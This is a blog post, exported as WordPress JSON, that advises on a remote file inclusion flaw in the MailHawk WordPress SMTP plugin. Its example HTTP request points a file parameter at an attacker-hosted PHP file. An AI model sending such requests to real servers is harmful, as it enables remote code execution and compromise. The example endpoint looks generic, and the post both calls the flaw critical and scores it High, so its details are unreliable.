{"id":86184,"date":"2026-01-02T05:04:24","date_gmt":"2026-01-02T05:04:24","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-31015-remote-file-inclusion-vulnerability-in-wordpress-smtp-service","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-31015-remote-file-inclusion-vulnerability-in-wordpress-smtp-service\/","title":{"rendered":"<strong>CVE-2025-31015: Remote File Inclusion Vulnerability in WordPress SMTP Service<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The vulnerability, CVE-2025-31015, is a critical security issue that affects the Adrian Tobey WordPress SMTP Service, specifically the Email Delivery Solved! &#8211; MailHawk plugin. This flaw could potentially allow an attacker to gain unauthorized access and manipulate files on the server, leading to system compromise or data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-31015<br \/>\nSeverity: High (7.5 CVSS Score)<br \/>\nAttack Vector: Remote<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: System compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1382203350\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>WordPress SMTP Service, Email Delivery Solved! &#8211; MailHawk | n\/a through 1.3.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit works by taking advantage of the improper control of filename for include\/require statement in PHP program (&#8216;PHP Remote File Inclusion&#8217;) vulnerability. An attacker could manipulate the include\/require statement to include a file from a remote server that contains malicious PHP code. Once the file is included, the malicious code will be executed by the server, which can lead to unauthorized access or modification of data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-319757626\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>A potential exploit may look as follows:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/include.php?file=http:\/\/attacker.com\/malicious_file.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the `file` parameter in the URL is manipulated to include a file from a remote server (`attacker.com`). The file `malicious_file.txt` contains the attacker&#8217;s PHP code, which will be executed once it is included in the target server.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate the risk of this vulnerability, it is recommended to apply the patch provided by the vendor. If the patch cannot be applied immediately, it is advised to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary countermeasure to monitor and block suspicious activity.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The vulnerability, CVE-2025-31015, is a critical security issue that affects the Adrian Tobey WordPress SMTP Service, specifically the Email Delivery Solved! &#8211; MailHawk plugin. This flaw could potentially allow an attacker to gain unauthorized access and manipulate files on the server, leading to system compromise or data leakage. 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